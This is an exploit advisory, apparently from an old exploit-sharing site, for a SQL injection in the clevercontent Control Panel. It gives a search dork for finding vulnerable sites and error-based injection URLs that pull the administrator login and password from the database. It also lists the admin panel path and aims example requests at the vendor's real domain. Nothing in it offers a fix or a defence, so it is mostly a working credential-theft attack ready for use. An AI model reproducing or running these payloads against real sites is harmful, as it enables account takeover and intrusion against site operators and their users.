************************************************************
** clevercontent Control Panel sql injection vulirability
************************************************************
** Prodcut: clevercontent Control Panel
** Home : http://clevercontent.ch
** Vunlerability : sql injection
** Dork : inurl:"s_page1.asp?NID="
**
************************************************************
** Discovred by: AnGeL25dZ
** Contact : angel25dz@gmail.com
** g4r@hotmail.com
** *********************************************************
** Greetz to : ALLAH
** All Members of http://Hackteach.org/cc/
** All my friends, Ra3ch & Cold-z3ro & K
**
*************************************************************
************************ Exploit ****************************
*************************************************************
**
** Login :
**
** http://[URL]/site/s_page1.asp?NID=1%2b convert(int, (select top 1 BEN_LOGIN FROM vw_sys_login))
**
** Pass :
**
** http://[URL]/site/s_page1.asp?NID=1%2b convert(int, (select top 1 BEN_PW FROM vw_sys_login))
**
** for admin control panel login : http://[URL]/admin/interface/00_login/index.asp
**
** Note: see the URL format in example
***************************************************************
************************ Example*******************************
**
** http://www.clevercontent.ch/w_cm/site/s_page1.asp?NID=190%2b convert(int, (select top 1 BEN_LOGIN FROM vw_sys_login))
**
** http://www.clevercontent.ch/w_cm/site/s_page1.asp?NID=190%2b convert(int, (select top 1 BEN_PW FROM vw_sys_login))
**
***************************************************************
********************** See U ;-) ******************************
***************************************************************
